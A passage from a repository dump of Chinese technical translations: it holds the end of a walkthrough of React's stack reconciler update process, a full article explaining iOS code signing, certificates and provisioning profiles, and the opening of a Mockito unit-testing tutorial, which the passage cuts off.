(点击查看大图)</em>\n\n然后我们适当再调整一下：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/9/part-9-B.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/9/part-9-B.svg)\n\n<em>9.3 第 9 部分简化和重构 (点击查看大图)</em>\n\n很好，实际上，下面的示意图就是我们所讲的。因此，我们可以理解**第 9 部分**的本质，并将其用于最终的 `updating` 方案：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/9/part-9-C.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/9/part-9-C.svg)\n\n<em>9.4 第 9 部分本质 (点击查看大图)</em>\n\n## 第 10 部分\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/10/part-10.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/10/part-10.svg)\n\n<em>10.0 第十部分 (点击查看大图)</em>\n\n### 脏组件\n\n就像流程图所示那样，React 会遍历步骤 (1) 的 `dirtyComponents`，并且通过事务调用步骤 (2) 的 `ReactUpdates.runBatchedUpdates`。事务? 又是一个新的事务，它怎么工作呢，我们一起来看。\n\n这个事务的类型是 `ReactUpdatesFlushTransaction`，之前我们也说过，我们需要通过事务包装器来理解事务具体干什么。以下是从代码注释中获得的启示：\n\n> ReactUpdatesFlushTransaction 的封装器组会清空 dirtyComponents 数组，并且执行 mount-ready 处理器组压入队列的更新 (mount-ready 处理器是指那些在 mount 成功后触发的生命周期函数。例如 `componentDidUpdate`) \n\n但是，不管怎样，我们需要证实它。现在有两个 `wrappers`： `NESTED_UPDATES` 和 `UPDATE_QUEUEING`。在初始化的过程中，我们存下步骤 (3) 的 `dirtyComponentsLength`。然后观察下面的 `close` 处，React 在更新过程中会不断检查对比 `dirtyComponentsLength`，当一批脏组件变更了，我们把它们从中数组中移出并再次执行 `flushBatchedUpdates`。 你看, 这里并没有什么黑魔法，每一步都清晰简单。\n\n然而... 一个神奇的时刻出现了。`ReactUpdatesFlushTransaction` 复写了 `Transaction.perform` 方法。因为它实际上是从 `ReactReconcileTransaction` (在挂载的过程中应用到的事务，用来保障应用 `state` 的安全) 中获得的行为。因此在 `ReactUpdatesFlushTransaction.perform` 方法里，`ReactReconcileTransaction` 也被使用到，这个事务方法实际上又被封装了一次。\n\n因此，从技术角度看，它可能形如：\n\n```javascript\n[NESTED_UPDATES, UPDATE_QUEUEING].initialize()\n[SELECTION_RESTORATION, EVENT_SUPPRESSION, ON_DOM_READY_QUEUEING].initialize()\n\nmethod -> ReactUpdates.runBatchedUpdates\n\n[SELECTION_RESTORATION, EVENT_SUPPRESSION, ON_DOM_READY_QUEUEING].close()\n[NESTED_UPDATES, UPDATE_QUEUEING].close()\n```\n\n我们之后会回到这个事务，再次理解它是如何帮助我们的。但是现在，让我们来看步骤 (2) `ReactUpdates.runBatchedUpdates` (`\\src\\renderers\\shared\\stack\\reconciler\\ReactUpdates.js#125`)。\n\n我们要做的第一件事就是给 `dirtyComponets` 排序，我们来看步骤 (4)。怎么排序呢？通过 `mount order` (当实例挂载时组件获得的序列整数)，这将意味着父组件 (先挂载) 会被先更新，然后是子组件，然后往下以此类推。\n\n下一步我们提升批号 `updateBatchNumber`，批号是一个类似当前差分对比更新状态的 ID。\n代码注释中提到：\n\n> ‘任何在差分对比更新过程中压入队列的更新必须在整个批处理结束后执行。 否则, 如果 dirtyComponents 为[A, B]。 其中 A 有孩子 B 和 C, 那么如果 C 的渲染压入一个更新给 B，则 B 可能在一个批次中更新两次 (由于 B 已经更新了，我们应该跳过它，而唯一能感知的方法就是检查批号)。’\n\n这将避免重复更新同一个组件。\n\n非常好，最终我们遍历 `dirtyComponents` 并传递其每个组件给步骤 (5) 的 `ReactReconciler.performUpdateIfNecessary`，这也是 `ReactCompositeComponent` 实例里调用 `performUpdateIfNecessary` 的地方。然后，我们将继续研究 `ReactCompositeComponent` 代码以及它的 `updateComponent` 方法，在那里我们会发现更多有趣的事，让我们继续深入研究。\n\n### 好, 第 10 部分我们讲完了\n\n我们来回顾一下我们学到的。我们再看一下这种模式，然后去掉冗余的部分：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/10/part-10-A.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/10/part-10-A.svg)\n\n<em>10.1 第 10 部分简化版 (点击查看大图)</em>\n\n让我们适度调整一下：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/10/part-10-B.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/10/part-10-B.svg)\n\n<em>10.2 第 10 部分重构与简化 (点击查看大图)</em>\n\n很好，实际上，下面的示意图就是我们所讲的。因此，我们可以理解**第 10 部分**的本质，并将其用于最终的 `updating` 方案：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/10/part-10-C.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/10/part-10-C.svg)\n\n<em>10.3 第 10 部分 本质 (点击查看大图)</em>\n\n## 第 11 部分\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/11/part-11.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/11/part-11.svg)\n\n<em>11.0 第 11 部分(点击查看大图)</em>\n\n### 更新组件方法\n\n源码中的注释是这样介绍这个方法的：\n\n>对一个已经挂载后的组件执行再更新操作的时候，`componentWillReceiveProps` 以及 `shouldComponentUpdate` 方法会被调用，然后 (假定这个更新有效) 调用其他更新中其余的生命周期钩子方法，并且需要变化的 DOM 也会被更新。默认情况下这个过程会使用 React 的渲染和差分对比更新算法。对于一些复杂的实现，客户可能希望重写这步骤。\n\n很好… 听起来很合理。\n\n首先我们会去检查步骤 (1) 的 `props` 是否改变了，原理上讲，`updateComponent` 方法会在 setState 方法被调用或者 props 变化这两种情况下使用。如果 `props` 确实改变了，那么生命周期函数`componentWillReceiveProps` 就会被执行. 接着, React 会根据 `pending state queue` (指我们之前设置的`partialState` 队列，现在可能形如 [{ message: \"click state message\" }]) 重新计算步骤 (2) 的 `nextState`。当然在只有 props 更新的情况下， state 是不会受到影响的。\n\n很好，下一步，我们把 `shouldUpdate` 初始化为步骤 (3) 的 `true`。这里可以看出即使`shouldComponentUpdate` 没有申明，组件也会按照此默认行为更新。然后检查一下 `force update `的状态，因为我们也可以在组件里调用`forceUpdate` 方法，不管`state` 和`props`是不是变化，都强制更新。当然，React 的官方文档不推荐这样的实践。在使用 `forceUpdate` 的情况下，组件将会被持久化的更新，否则，`shouldUpdate` 将会是 `shouldComponentUpdate` 的返回结果。如果 `shouldUpdate` 为否，组件不应该更新时，React 依然会设置新的 `props` and `state`, 不过会跳过更新的余下部分。\n\n### 好, 第 11 部分我们讲完了\n\n我们来回顾一下我们学到的。我们再看一下这种模式，然后去掉冗余的部分：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/11/part-11-A.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/11/part-11-A.svg)\n\n<em>11.1 第 11 部分简化版 (点击查看大图)</em>\n\n然后我们适当再调整一下：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/11/part-11-B.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/11/part-11-B.svg)\n\n<em>11.2 第 11 部分简化和重构 (点击查看大图)</em>\n\n很好，实际上，下面的示意图就是我们所讲的。因此，我们可以理解**第 11 部分**的本质，并将其用于最终的 `updating` 方案：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/11/part-11-C.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/11/part-11-C.svg)\n\n<em>11.3 第 11 部分本质 (点击查看大图)</em>\n\n## 第 12 部分\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/12/part-12.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/12/part-12.svg)\n\n<em>12.0 第 12 部分(点击查看大图)</em>\n\n### 当组件确实需要更新...\n\n现在我们已经到更新行为的开始点，此时应该先调用步骤 (1) 的 `componentWillUpdate` (当然必须声明过) 的生命周期钩子。然后重绘组件并且把另一个知名的方法 `componentDidUpdate` 的调用压入队列 (推迟是因为它应该在更新操作结束后执行)。那怎么重绘呢？实际上这时候会调用组件的 render 方法，并且相应的更新 DOM。所以第一步，调用实例 (`ExampleApplication`) 中步骤 (2) 的 `render` 方法, 并且存储更新的结果 (这里会返回 React 元素)。然后我们会和之前已经渲染的元素对比并决策出哪些 DOM 应该被更新。\n\n这个部分是 React 杀手级别的功能，它避免冗余的 DOM 更新，只更新我们需要的部分以提高性能。\n\n我们来看源码对步骤 (3) 的 `shouldUpdateReactComponent` 方法的注释：\n\n> 决定现有实例的更新是部分更新，还是被移除还是被一个新的实例替换\n\n因此，通俗点讲，这个方法会检测这个元素是否应该被彻底的替换, 在彻底替换掉情况下，旧的部分需要先被 `unmounted`(卸载），然后从 `render` 获取的新的部分应该被挂载，然后把挂载后获得的元素替换现有的。这个方法还会检测是否一个元素可以被部分更新。彻底替换元素的主要条件是当一个新的元素是空元素 (意即被 render 逻辑移除了)。或者它的标签不同，比如原先是一个 `div`，然而是现在是其它的标签了。让我们来看以下代码，表达的非常清晰。\n\n```javascript\n///src/renderers/shared/shared/shouldUpdateReactComponent.js#25\n\nfunction shouldUpdateReactComponent(prevElement, nextElement) {\n    var prevEmpty = prevElement === null || prevElement === false;\n    var nextEmpty = nextElement === null || nextElement === false;\n    if (prevEmpty || nextEmpty) {\n        return prevEmpty === nextEmpty;\n    }\n\n    var prevType = typeof prevElement;\n    var nextType = typeof nextElement;\n    if (prevType === 'string' || prevType === 'number') {\n        return (nextType === 'string' || nextType === 'number');\n    } else {\n        return (\n            nextType === 'object' &&\n            prevElement.type === nextElement.type &&\n            prevElement.key === nextElement.key\n        );\n    }\n}\n```\n\n很好，实际上我们的 `ExampleApplication` 实例仅仅更新了 state 属性，并没有怎么影响 `render`。到现在我们可以进入下一个场景，`update` 后的反应。\n\n### 好, 第 12 部分我们讲完了\n\n我们来回顾一下我们学到的。我们再看一下这种模式，然后去掉冗余的部分：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/12/part-12-A.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/12/part-12-A.svg)\n\n<em>*第 12 部分简化版 (点击查看大图)*</em>\n\n然后我们适当再调整一下：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/12/part-12-B.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/12/part-12-B.svg)\n\n<em>12.2 第 12 部分简化和重构 (点击查看大图)</em>\n\n很好，实际上，下面的示意图就是我们所讲的。因此，我们可以理解**第 12 部分**的本质，并将其用于最终的 `updating` 方案：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/12/part-12-C.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/12/part-12-C.svg)\n\n<em>12.3 第 12 部分本质 (点击查看大图)</em>\n\n## 第 13 部分\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/13/part-13.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/13/part-13.svg)\n\n<em>13.0 第 13 部分（点击查看大图）</em>\n\n### 接收组件（更精确的下一个元素）\n\n通过 `ReactReconciler.receiveComponent`，React 实际上从 `ReactDOMComponent` 调用 `receiveComponent` 并传递给下一个元素。在 DOM 组件实例上重新分配并调用 update 方法。`updateComponent` 方法实际上主要是两步： 基于 `prev` 和 `next` 的属性，更新 DOM 属性和 DOM 元素的子节点。好在我们已经分析了 `_updateDOMProperties`(`src\\renderers\\dom\\shared\\ReactDOMComponent.js#946`) 方法。就像你记得的那样，这个方法大部分处理了 HTML 元素的属性和特质，计算样式以及处理事件监听等。剩下的就是 `_updateDOMChildren`(`src\\renderers\\dom\\shared\\ReactDOMComponent.js#1076`) 方法了。\n\n### 好了，我们已经完成了*第 13 部分*。好短的一章。\n让我们概括一下我们怎么到这里的。再看一下这张图，然后移除掉冗余的不那么重要的部分，它就变成了这样：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/13/part-13-A.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/13/part-13-A.svg)\n\n<em>13.1 第 13 部分 简化（点击查看大图）</em>\n\n我们也应该尽可能的修改空格和对齐方式:\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/13/part-13-B.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/13/part-13-B.svg)\n\n<em>13.2 第 13 部分 简化和重构（点击查看大图）</em>\n\n很好。实际上它就是这儿所发生的一切。我们可以从*第 13 部分*中获得基本价值，并将其用于最终的“更新”图表：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/13/part-13-C.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/13/part-13-C.svg)\n\n<em>13.3 第 13 部分本质（点击查看大图）</em>\n\n## 第 14 部分\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/14/part-14.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/14/part-14.svg)\n\n<em>14.0 第 14 部分(点击查看大图)</em>\n\n### 最后一章!\n\n在发起子组件更新操作时会有很多属性影响子组件内容。这里有几种可能的情况，不过其实就只有两大主要情况。即子组件是不是 “复杂”。这里的复杂的含义是，它们是 React 组件，React 应当通过它们不断递归直到触及内容层，或者，该子组件只是简单数据类型，比如字符串、数字。\n\n这个判断条件就是步骤 (1) 的 `nextProps.children` 的类型，在我们的情形中，`ExampleApplication` 有三个孩子 `button`, `ChildCmp` 和 `text string`。\n\n很好，现在让我们来看它的工作原理。\n\n首先，在首次迭代时，我们分析 `ExampleApplication children`。很明显可以看出子组件的类型不是 “纯内容类型”，因此情况为 “复杂” 情况。然后我们一层层往下递归，每层都会判断 children 的类型。顺便说一下，步骤 (2) 的 `shouldUpdateReactComponent` 判断条件可能让你有些困惑，它看上去是在验证更新与否，但实际上它会检查类型是更新还是删除与创建（为了简化流程我们跳过此条件为否的情形，假定是更新）。当然接下来我们对比新旧子组件，如果有孩子被移除，我们也会去除挂载组件，并把它移除。\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/14/children-update.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/14/children-update.svg)\n\n<em>14.1 Children 更新 (点击查看大图)</em>\n\n在第二轮迭代时，我们分析 `button`，这是一个很简单的案例，由于它仅包含一个标题文字 `set state button`，它的孩子只是一个字符串。因此我们对比一下之前和现在的内容。很好，这些文字并没有变化，因此我们不需要更新 `button`？这非常的合理，因此所谓的 “虚拟 DOM”，现在听上去也不是那么的抽象，React 维护了一个对 DOM 的内部表达对象，并且在需要的时候更改真实 DOM，这样取得了很不错的性能。因此我想你应该已经了解了这个设计模式。那我们接着来更新 `ChildCmp`，然后它的孩子也到达我们可以更新的最底层。可以看到在这层的内容已经被修改了，当时我们通过 `click` 和 `setState` 的调用，`this.props.message` 已经更新成 `'click state message` 了。\n\n```javascript\n//... \nonClickHandler() {\n\tthis.setState({ message: 'click state message' });\n}\n\nrender() {\n    return <div>\n\t\t<button onClick={this.onClickHandler.bind(this)}>set state button</button>\n\t\t<ChildCmp childMessage={this.state.message} />\n//...\n```\n\n从这里可以看出已经可以更新元素的内容，事实上也就是替换它。那么真正的行为是怎样的呢，其实它会生成一个“配置对象”并且其配置的动作会被相应地应用。在我们的场景下这个文字的更新操作可能形如：\n\n```javascript\n{\n  afterNode: null,\n  content: \"click state message\",\n  fromIndex: null,\n  fromNode: null,\n  toIndex: null,\n  type: \"TEXT_CONTENT\"\n}\n```\n我们可以看到很多字段是空，因为文字更新是比较简单的。但是它有很多属性字段，因为当你移动节点就会比仅仅更新字符串要复杂得多。我们来看这部分的源码加深理解。\n\n```javascript\n//src\\renderers\\dom\\client\\utils\\DOMChildrenOperations.js#172\nprocessUpdates: function(parentNode, updates) {\n    for (var k = 0; k < updates.length; k++) {\n      var update = updates[k];\n\n      switch (update.type) {\n        case 'INSERT_MARKUP':\n          insertLazyTreeChildAt(\n            parentNode,\n            update.content,\n            getNodeAfter(parentNode, update.afterNode)\n          );\n          break;\n        case 'MOVE_EXISTING':\n          moveChild(\n            parentNode,\n            update.fromNode,\n            getNodeAfter(parentNode, update.afterNode)\n          );\n          break;\n        case 'SET_MARKUP':\n          setInnerHTML(\n            parentNode,\n            update.content\n          );\n          break;\n        case 'TEXT_CONTENT':\n          setTextContent(\n            parentNode,\n            update.content\n          );\n          break;\n        case 'REMOVE_NODE':\n          removeChild(parentNode, update.fromNode);\n          break;\n      }\n    }\n  }\n```\n\n在我们的情况下，更新类型是 `TEXT_CONTENT`，因此实际上这是最后一步，我们调用步骤 (3) 的 `setTextContent` 方法并且更新 HTML 节点（从真实 DOM 中操作）。\n\n非常好！内容已经被更新，界面上也做了重绘。我们还有什么遗忘的吗？让我们结束更新！这些事都做完了，我们的组件生命周期钩子函数 `componentDidUpdate` 会被调用。这样的延迟回调是怎么调用的呢？实际上就是通过事务的封装器。如果你还记得，脏组件的更新会被 `ReactUpdatesFlushTransaction` 封装器修饰，并且其中的一个封装器实际上包含了 `this.callbackQueue.notifyAll()` 逻辑，所以它回调用 `componentDidUpdate`。很好，现在看上去我们已经讲完了全部内容。\n\n### 好, 第 14 部分我们讲完了\n\n我们来回顾一下我们学到的。我们再看一下这种模式，然后去掉冗余的部分：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/14/part-14-A.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/14/part-14-A.svg)\n\n<em>14.2 第 14 部分简化板 (点击查看大图)</em>\n\n然后我们适当再调整一下：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/14/part-14-B.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/14/part-14-B.svg)\n\n<em>14.3 第 14 简化和重构 (点击查看大图)</em>\n\n很好，实际上，下面的示意图就是我们所讲的。因此，我们可以理解**第 14 部分**的本质，并将其用于最终的 `updating` 方案：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/14/part-14-C.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/14/part-14-C.svg)\n\n<em>14.4 第 14 部分 本质 (点击查看大图)</em>\n\n我们已经完成了更新操作的学习，让我们重头整理一下。\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/14/updating-parts-C.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/14/updating-parts-C.svg)\n\n<em>14.5 更新 (点击查看大图)</em>\n"
  },
  {
    "path": "TODO/Understanding-code-signing-for-iOS-apps.md",
    "content": "> * 原文地址：[Understanding code signing for iOS apps](https://engineering.nodesagency.com/articles/iOS/Understanding-code-signing-for-iOS-apps/)\n* 原文作者：[MariusConstantinescu](https://twitter.com/marius_const)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： [Nicolas(Yifei) Li](https://github.com/yifili09)\n* 校对者： [Tuccuay](https://github.com/Tuccuay), [fengzhihao123](https://github.com/fengzhihao123)\n\n# 理解 `iOS` 应用程序的代码签名机制\n\n\n如果你是一位 `iOS` 应用程序开发者，你有可能已经使用过代码签名了。如果你是一位初级的 `iOS` 应用程序开发者，你可能对开发者网站上那些有关 \"Certificates，Identifiers & Profiles\" 的部分感到不知所措。\n\n![](https://d1gwekl0pol55k.cloudfront.net/image/baas/translate_values/hbikk_ospmSpNLyW.gif)\n\n本文的目的是帮助初级 `iOS` 应用程序开发者从宏观角度理解代码签名是什么。这不是一个如何按部就班地对你的应用程序进行代码签名的操作手册。理想化来说，在你阅读完这篇文章后，你能够对应用程序进行代码签名而不需要按照任何操作手册。\n\n我不准备对底层细节进行讨论，但是我们将讨论一些非对称加密技术的内容。\n\n### [](#Asymmetric-cryptography \"Asymmetric cryptography\")非对称加密技术\n\n你至少要知道的是，非对称加密技术使用一个**公钥**和一个**私钥**。用户需要保留自己的私钥，但是他们能把公钥分享出去。并且使用这些公钥和私钥，用户就能证明那确实就是他自己。\n\n[这里](https://blog.vrypan.net/2013/08/28/public-key-cryptography-for-non-geeks/) 有一篇浅显易懂地解释什么是非对称加密技术的文章。如果你想知道实现这个技术的细节或者背后用到了哪些数学算法原理，在网络上有很多这样的文章。\n\n### [](#App-ID \"App ID\")App ID\n\n`App ID` 是你应用程序的唯一识别符。它由苹果为你创建的 `team id （团队 id）`（你无法插手） 和你应用程序的 `bundle id （程序包 id）` （比如，`com.youcompany.yourapp`）组成。\n\n也有通配符形式的 `App ID`: `com.yourcompany.*`。它们会匹配多个 `bundle id`。\n\n总而言之，你的应用程序会有一个明确的 `App ID`，而不是一个通配符形式的。\n\n### [](#Certificates \"Certificates\")Certificates / 证书\n\n你可能已经注意到，为了在苹果开发者网站上创建一个证书 / certificate，你需要上传一个签名证书申请 (Certificate Signing Request)。你能通过 `Keychain` 创建这个 `CSR` 文件，并且这个 `CSR` 文件包含一个私钥。\n\n之后在开发者网站上，你能使用这个 `CSR` 文件创建一个证书 （certificate）。\n\n证书 (certificates) 的类型有很多种。最常见的是:\n\n* 应用程序开发证书 (`iOS` 应用程序开发) - 你需要使用这些证书才能让 `XCode` 中的应用程序运行在设备上。 \n* 应用程序分发证书 (苹果应用市场和内部分发渠道) - 你需要使用这些证书，它能让你把应用程序提交到苹果应用市场或者内部分发渠道。\n* `APNS` (Apple Push Notification Service / 苹果推送通知服务系统) - 你需要使用这些证书，它能让你推送内容到你的应用程序中。与应用程序的开发证书和分发证书不同，`APNS` 与 `APP ID` 有关。`APNS` 有两种证书，对于开发环境来说 - Apple Push Notification Service / 苹果推送通知服务 SSL (适用于沙盒环境)，对生产环境来说 - Apple Push Notification Service / 苹果推送通知服务 `SSL` (适用于沙盒和生产环境)。如果你想让推送服务在调试和分发程序上都能使用，你需要创建这两个证书。\n\n### [](#Devices \"Devices\")Devices / 设备\n\n在你账户每年的会员期内，你能为每个产品添加最多 100 个设备。100 个 iPhone, 100 个 iPad, 100 个 iPod Touch， 100 个 Apple Watche 和 100 个 Apple TV。为了把设备添加到你的账户下，你需要添加该设备的唯一识别码。你能在 `Xcode` 中方便地找到它，或在 `iTunes` 中（可能会稍微麻烦点儿）。[这里](https://developer.apple.com/library/content/documentation/IDEs/Conceptual/AppDistributionGuide/MaintainingProfiles/MaintainingProfiles.html#//apple_ref/doc/uid/TP40012582-CH30-SW10) 有一份详细的指导手册教你如何添加设备到你的账户下。\n\n### [](#Provisioning-profiles \"Provisioning profiles\")Provisioning profiles / 配置文件\n\n配置文件将 `App ID`，开发者或者内部分发证书和一些设备联系起来。你在苹果开发者网站上创建这些配置文件，然后在 `Xcode` 内下载它们。\n\n### [](#Usage \"Usage\")使用方法\n\n在你创建了这些以后，回到 `Xcode` 页面，添加你的证书，更新你的配置文件，之后选择你想要的那个配置文件。从这些配置文件中，你能选择需要的签名身份(这取决于联系到它的证书)。\n\n### [](#F-A-Q \"F.A.Q.\")常见问题解答\n\n多年来在 `iOS` 开发的过程中，我问过也被很多人问过有关代码签名的问题。比如下面的这些。\n\n* **问题**: 我已经从开发者网站上下载了配置文件和证书，但是我还是不能对应用程序签名。       \n    **解答**: 是的，因为你没有私钥，就是那个在证书签名申请中使用的那个。可能是之前其他团队的成员创建了这些证书和配置文件。你能从原来的开发者那里获得这些私钥，重新激活这个证书并且创建一个新的 (和这个证书有联系的所有配置文件都会失效，但是不会对任何应用市场上使用这些证书的应用程序造成问题) 或者如果可能的话，创建一个全新的证书。（目前，每一个开发者账户最多申请 3 个应用程序分发证书。）\n\n* **问题**: 那有关推送服务的证书呢？我想让应用程序能接收推送通知。难道我不应该使用 `APNS` 证书创建一个配置文件么？            \n    **解答**: 不是这样的。当你创建一个 `APNS` (Apple Push Notification Service / 苹果推送通知服务) 证书的时候，你把 `APP ID` 联系到这个证书上。所以，首先要有 `CSR` 文件，之后通过这个 `CSR` 文件创建一个新的 `APNS`，下载后在 `Keychain` 中打开它，并以 `.p12` 文件格式导出，之后把这个文件上传到你的推送服务提供商处。这个 `.p12` 文件知道它是和那个应用程序联系的，并且它会只推送内容到这个应用程序。这也是为什么你不能把一个 `APNS` 证书联系到通配符形式的 `APP ID` (com.youcompany.*)。推送通知的服务器需要知道，它需要推送内容到哪个应用程序。\n\n* **问题**: 我买了一个新的 `mac` 计算机，为了代码签名能正常工作，我应该从旧的 `mac` 计算机上 `keychain` 中导出什么到新的 `mac` 计算机中？         \n    **解答**: 你可能想把所有 `keychain`　中的内容导出到新的 `mac` 计算机中。你可以通过 [这些步骤](https://support.apple.com/kb/PH20120?locale=en_US) 完成。但是如果你想导出一个证书，确保你也能导出这个私钥。在 `Keychain` 中，你应该可以通过点击证书旁边的三角选项展开它的内容，之后你就会看到这个私钥。这些证书都能以 `.p12` 文件格式导出。否则，他们会以 `.cer` 格式导出，没有私钥，这个文件是没用的。\n\n* **问题**: 我的 `iOS` 应用程序分发证书过期了，我的应用程序还能继续工作么？          \n    **解答**: 当你的证书过期了，使用这个证书的配置文件就会失效了。在应用程序市场（`App Store`）上，只要你的开发者账号还有效，这个应用程序还是能正常使用的。但是通过这个证书在内部渠道分发的应用程序就不能继续使用了。\n\n* **问题**: 我的 `APNS` 证书过期了，现在会发生什么？           \n    **解答**: 你不能再发送推送通知给应用程序。通过创建一个与 `App ID` 联系的 新的 `APNS` 证书，下载并导出这个 `.p12` 文件，之后把它上上传给你的推送通知服务提供商。并且不需要为此而更新应用程序。\n\n### [](#Summary \"Summary\")总结\n\n我想再次强调有关代码签名的是:\n\n* 每一个应用程序都有一个 `App ID`\n* 对所有使用中的证书，你都必须存有相关的**私钥**\n* 一个**调试版本的配置文件**把 `APP ID`，调试设备和应用程序开发证书联系在一起。\n* 一个**内部分发渠道的配置文件**把 `App ID`，调试设备和应用程序分发证书联系在一起。\n* 一个**应用程序市场 （`App Store`）的配置文件**把 `App ID` 和你的应用程序分发证书联系在一起。\n* 对于推送通知，创建一个 **APNS 证书**，它和 `App ID` 联系在一起，下载并以 `.p12` 文件格式导出，并上传这个文件到推送通知服务供应商处；如果你想要这个推送通知在调试和生产环境下都起作用，你不得不分别为开发调试和生产环境创建 2 个 `APNS` 证书。\n\n通晓这些能帮助你更好的理解代码签名机制，并且最终省去了很多时间。\n\n![](https://d1gwekl0pol55k.cloudfront.net/image/baas/translate_values/success_YGu5HHLDK6.jpg)\n\n### [](#Further-reading \"Further reading\")延伸阅读\n\n* [深入理解代码签名机制](https://www.objc.io/issues/17-security/inside-code-signing/)\n* [官方指南 - 代码签名](https://developer.apple.com/support/code-signing/) \n* [从入门到放弃 - `iOS` 代码签名和配置文件](https://medium.com/ios-os-x-development/ios-code-signing-provisioning-in-a-nutshell-d5b247760bef)\n\n"
  },
  {
    "path": "TODO/Unit-tests-with-Mockito.md",
    "content": "> * 原文链接 : [Unit tests with Mockito - Tutorial](http://www.vogella.com/tutorials/Mockito/article.html)\n> * 原文作者 : [vogella](http://www.vogella.com/)\n> * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者 : [edvardhua](https://github.com/edvardHua/)\n> * 校对者: [hackerkevin](https://github.com/hackerkevin), [futureshine](https://github.com/futureshine) \n\n# 使用强大的 Mockito 测试框架来测试你的代码\n\n>这篇教程介绍了如何使用 Mockito 框架来给软件写测试用例\n\n## 1\\. 预备知识\n\n如果需要往下学习，你需要先理解 Junit 框架中的单元测试。\n\n如果你不熟悉 JUnit，请查看下面的教程：\n[http://www.vogella.com/tutorials/JUnit/article.html](http://www.vogella.com/tutorials/JUnit/article.html)\n\n## 2\\. 使用mock对象来进行测试\n\n### 2.1\\. 单元测试的目标和挑战\n\n单元测试的思路是在不涉及依赖关系的情况下测试代码（隔离性），所以测试代码与其他类或者系统的关系应该尽量被消除。一个可行的消除方法是替换掉依赖类（测试替换），也就是说我们可以使用替身来替换掉真正的依赖对象。\n\n### 2.2\\. 测试类的分类\n\n_dummy object_ 做为参数传递给方法但是绝对不会被使用。譬如说，这种测试类内部的方法不会被调用，或者是用来填充某个方法的参数。\n\n_Fake_ 是真正接口或抽象类的实现体，但给对象内部实现很简单。譬如说，它存在内存中而不是真正的数据库中。（译者注：_Fake_ 实现了真正的逻辑，但它的存在只是为了测试，而不适合于用在产品中。）\n\n_stub_ 类是依赖类的部分方法实现，而这些方法在你测试类和接口的时候会被用到，也就是说 _stub_ 类在测试中会被实例化。_stub_ 